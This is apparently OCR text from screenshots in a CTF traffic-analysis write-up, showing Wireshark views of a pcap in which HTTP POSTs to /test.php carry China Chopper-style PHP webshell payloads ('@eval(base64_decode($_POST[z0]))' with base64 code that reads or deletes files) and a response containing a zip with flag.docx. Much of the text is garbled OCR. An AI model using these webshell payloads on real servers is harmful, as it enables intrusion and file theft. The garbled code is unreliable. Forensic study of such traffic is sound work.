User-Agent: Mozilla/5.@ (Windows; Windows NT 5.1; en-US) Firefox/3.5.0

Host: 192.168.80.132

Content-Length: 775

Cache-Control: no-cache

1=@eval (baset4 decode($ POST[z@]));&z0=QGluavozZXQoImRpc3BsYX1TZXIyb31zIiwiMCIpOBBzZXRTd
GltZV9saWlpdCgwKTtAC2VexX21hZ21jX3F1b3R1c19ydW50alW11KDApPO2VjaG80Iie%2BfCIpoztmdwsjdGlvbie
kZigkcCl71G@9QGRpcigkcCk7d2hpbGUoQCRMPSRELTSYZWFKKCkpeyRwZ jokcCAiLyIuJGY7aWYoKGlzX2Rpcig
kcGYpKSYMKCRMITOiLiIpJliYolGYhPSIuLiIpkKXtAY2htb2QoIHBMLDAZNZCcpO2RMKCRWZik7 FW1mKG1zX2ZpbGU
0JHBmMKS17QGNobWOkKCRWZ iwwNz c3KTTAdWSsaWSrKCRWZ1k7TXekbse%2BY 2xvc2UoKTEtAY2hth2QoIHASMDC 3N
yk7cmvedXJuIEBybWRpcigkcCk7fSRGPWA1dFOtYWdpY19xdwoeZXNTZ3BjKCk%2Fc3RyaXBzbGFzaGVZKCRTUES
TVFsiejEiXSk6IFOQTINUWYI6MSIdO21mKGlzX2RpcigkRikpZWNobyhkZigkRikp02Vsc2v7ZWNobyhmawx1X2v
AaxXNocygkRik%2FQHVuUbGluaygkRik%2FIjEi0iIwIjoiMCIp03@7ZWNobygifOwtIik7ZG11KCk7&z1=C%3A%5C
#5CwWamp#5CHSCwwwi5CHSCAERADDF2C93DFC328E8726BDC81BDFCDASCHSChavatun. zipHTTP/1.1 280 OK
Date: Mon, @9 Apr 2018 16:58:19 GMT \

Crnrunre Arnachafa 9 931 fMEasn232Y DUunds 2 Am \

HE 385, ¢ BOW HE 2 BRE HE F o) AEHAE.

L

E4-F1E (2875 hytes ) ™ Show data as ASCII » i
=i | | BERT @
R IR $TEN FEA ik @ Clo&D N | @ T ) Belnffl

M Wireshark - i8F TCP i (tcp.stream eq 11) - liuliang.pcap - O X
POST /test.php HTTP/1.1 ~

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.80.132

User-Agent: Mozilla/5.@ (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Host: 192.168.88.132

Content-Length: 491

Cache-Control: no-cache

1=@@eval (base64 decode($ POST[z@]));&z0=QGluavozZXQoImRpc3BsYX1fZXIyb3JzIiwiMCIpO@BzZXRTd
Glt7ZvosaWlpdCgwKTtAC2vexX21hZ21jX3F1b3R1c19ydw58aW11KDApO2VjaGB8olie#2BTCIp0zskRj1nZXRTbWF
naWlfcxXvvdGvzX2dwYygpP3N@cmlwc2xhc2hlcygkX1BPUIRbINoxXI1@pOiRTUESTVFSsie JEiXTskZnA9QGZveGY
UKCRGLCIyIik7aWYoQGZnZXRJKCRmcCkpe@BmY2xvc2UolGZwKTtACmVhZGZpbGUoJEYpO311bHN1e2VjaG8oIkV
SUk9S0i8vIENhbiBOb3QgUmVhZCIp0307ZWNobygifDwtIik7ZG11KCk78&z1=C%3A%5CHE5Cwampi5CHhS CwwwisCoh
SCAE@ADDF2C93DFC328E8726BDCR1BDFCDA5C%5Chavatun. zipHTTP/1.1 200 OK

Date: Mon, @9 Apr 2018 17:01:17 GMT

Server: Apache/2.2.21 (Win32) PHP/5.3.1@

X-Powered-By: PHP/5.3.1@

Transfer-Encoding: chunked

Content-Type: text/html

A 535, § BN A 5 EEE AE I twals) SERE.
BE-3tiE (12kB) e Show data as ASCIT ~ w1l =

T | BEHT— @ |
SR FTEN Bigh-- B c1saDl @Thsrh i




BETHEPNESE, F—NEAEHARKER, BEE-A

M livliang.pcap - X
THE) EEED WAV BEEG BERQ SR S BEY A2Rw IE0 S0 m:\
Am 1 ® RE | = # 3 [EaqaqfE
[Rltcp. strean eg 11 and hitp.ge B )+
Wo. Source Tine o= Destination Proteco Lensth Info

534 192.168.80.1 397.867437 192.168.80.132  HTTP 793 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)
i 552 192.168.80.132 1399.773131 '192‘168.89.1 HTTP 1513 HTTP/1.1 200 OK (text/html)

Frame 552: 1513 bytes on wire (12104 bits), 1513 bytes captured (12104 bits)

Ethernet II, Src: VMware_ae:c8:dl (90:0c:29:a@:c8:d1), Dst: VMware_c0:00:08 (00:50:56:C0:00:08)

Internet Protocol Version 4, Src: 192.168.80.132, Dst: 192.168.80.1

Transmission Control Protocol, Src Port: 8@, Dst Port: 11685, Seq: 10221, Ack: 740, Len: 1459

[8 Reassembled TCP Segments (11679 bytes): #535(1460), #537(1460), #539(1460), #541(1460), #543(1460), #545(1460), #550(1460), #552(1459)]
Hypertext Transfer Protocol

Line-based text data: text/html (96 lines)

0000 00 50 56 CO 00 08 00 Oc 29 ad c8 d1 08 00 LEWCL
L3C:R05 db 44 3e 40 00 80 06 8f 08 cO a8 50 84 cO ag]
0020 EMCH 60 5@ 2d as 83 7f 4d 16 db 63 c9 d5 50 18

f8 @d 23 9c @0 @0 ae 66 c1 32 13 3e 2c e2 42 58
5a d7 bc 3b 95 ab b7 79 5a el 6b ac 9e 73 21 ba
ea 49 38 88 @ 70 aa a2 Oe 48 e7 35 82 a8 25 Cl
bl 14 84 aa Oc 84 77 ca 34 73 15 1c 07 a6 49 89
47 43 e2 94 20 46 60 b2 a4 64 a3 ae 24 %e 72 29
18 7a d2 4f de eb b2 46 35 2 13 59 f8 fc 54 el
77 31 b9 08 1d e3 47 fd c2 2d ee 72 9d 27 2 10

CSDN @TJA/ Mz

£ T E i Ehttp, #E & httpEtOK

M Wireshark - Line-based text data (data-text-lines) - liuliang.pcap - O X

12345 —>|PK-'- + FeelLrerr9, -2 flag.docx -z T]rrrerrreeherere W oo “
-'-5--C-|2-*- Oreevrrrnrennseler  saseveaersrsyyMeesorsooneidgeesTas: 8o
-+-3tp‘----I--+cF--Jt"{+Q-3-ww-+B+-h+-+--+---uC----+juZyT#-<--n-+Bbth"-dA Keessrriges
*pre+PE=+B'mSH+ -+ +*rDX:+++C+>+b Qr++r+-+*L)H-0#3+++ +1rrreQr+ferererrazpbdrrrrrrs7?

R IR B4 i RS R V1 SRR & A T S RS- TR s DI - | BRI -2V
LO-h--*-"-*--*-*--*b'Oq*-"-*?-*-*j-*lN-O*-*-;E--M—*-M*-|--@R?:E*-9'%*--H-E--;M?
Iy-9--'----*--m-+~-N---v+----:--CtL_-'-'--'----+-->|'--'-'C-'---]+31,-+-#5-+P-@!
@[V

EEERRY TRy OF- SRETSY-EEEREY (ER3 R BRI EEREE D R R R REREY (EERERE 1Y ~ 3 ) SR * R il Y R
sesseees sesbape@e VoW }eTerdoqugeeevrees +e2devyre smyRe s VK/ o \Nc0e e le v ete]
°°8C'°°_°°°°P°|j°°°°.--d1°°°°°°°°°°°°°°#°°°°°O°°S°°°°°&d°°°°°°°®J+

R | R R - R

6% Sea e s5) Fedeelt HorrAepeewe e e AN ] emeXES /e L e e
0'-91-'-|I]*--*P*--*-PU-*-C--*--JG%--*}'!j)L-[+*-Iy
-'-)\P"“-O-*--*“*-U*-Qlj*-%-H'Ia&I'A-'"\-#-C%-*----‘--'Zm--'--(-'2--9'.-#-u-!
>S-l--=yh-Ti--+-t--Q0*gq+f%-O+--'-s- f@H",d't'Z'"'Ri'?)+"+'l2'/,'P'—

sUser e {eeslesfeeiceUe e KXo 24 s TU rOX MW WFrpr e Ber seeeesicesKeke sNe s ckehe s e U?
-*-'t-|-"h*n"*B*--*-',-]-X'-G-U*-d-l*-*u-t-!Y-*--'-qI-*J*BNg]'2-* w

& 552 Line—faszed rexr dara (dara—terr—Iines) 11 48% FT.
#EH | E v| BiRp [asciI v 4 o 2] sk 11489 2
& | | [T |

$TER & BER-- L6500 @7 Helh

NG T 4 T A Zip

M livliang.pcap - X
B SEEE WMEN BEG) MRG0 SR SFiHe) BEY AW IR0 FEH) ‘:J ‘

Am 2@ RO QeamsEF I =5 Qi

[ATtcp. strean eq 11 and http. Expand Subtrees ! BEd )+

FETR Frotoco Length Info
534 192.168.80.1 SmEF 0.132 HTTP 793 POST /test.php HTTP/1.1 (application/x-www-form-urlencoded)
552192.168.80.13  emEsm 0.1 HTTP 1513 HTTP/1.1 200 OK (text/html)




Jaz:poal Ctrl+Shift+l
AEHIT SRR A o
Prepare as Filter 4
MRS o
AUEEEs >
BT o
=5 4
BTRBEF... Ctrl+Shift+O
—\) SHSEFBRE). Ctrl+Shift+X
> Frame 552: 1513 byte Wiki thilBImE captured (12104 bits)
> Ethernet II, Src: VM TERFREE Dst: VMware_c@:00:08 (©9:50:56:C0:00:08)
> Internet Protocol Ve MY EEIR » [192.168.80.1
> SRS Culeshiftey  [11685, Seq: 10221, Ack: 740, Len: 1459
> Go to Linked Packet #537(1460), #539(1460), #541(1460), #543(1460), #545(1460), #550(1460), #552(1459)]
’ 5 EEOREREEENSE
v Line-based text data
T\t2\t3\t4\t5\t->|PK\0e3\eea\e24\000\000\000\b\eooF\0e2 9L € €9, \000\00092\000\000\t\000\000\000f1ag. docx @z\005T N9 € € € €006\ € € € € € uww\t.C\eoa\r
©995\0319C\002(209\t000099,90000U: \r
[truncated]\eo6\016\v e € @n®\0059 @yyN9\0259 € \0359 0~ 09 9439 \001\0069 €1a\b\002\0008 ¢ \002\0009\177\a3tp” @ VI\0309 Y cF\016\0061t\b' {\033Q93 QWO \036B9 €©h\0359\177€\0369..
\Vp@ @ @PE=@BOMSHE®*rDX @C9>Ob QO OV O*1)#VoH30@\r
r. NE -8 o o -V -N St PPN o PPV Y-S o BV P--N - o oo 0y PNEV-N PPN PN h
eoo0 ER @9 34 09 35 d 50 4b i ~
0010 ' 20 00
0020 eg 32
CCECRNGA 6f 63 78
eo40 [l be
0050 NN 1 d
0060 [ ef
0070 PE 06 © 8 5 d c ed 1. o oo CSDN @TJAYJME

BN mmdlE S5IA =R #E O F O ARIR  =REFF B

mes New Rom: - A S - A+ A_ng" =~ g;-ggjc:- ﬁl < - M AaBbCcD AaBbC 2
= 1 R 1
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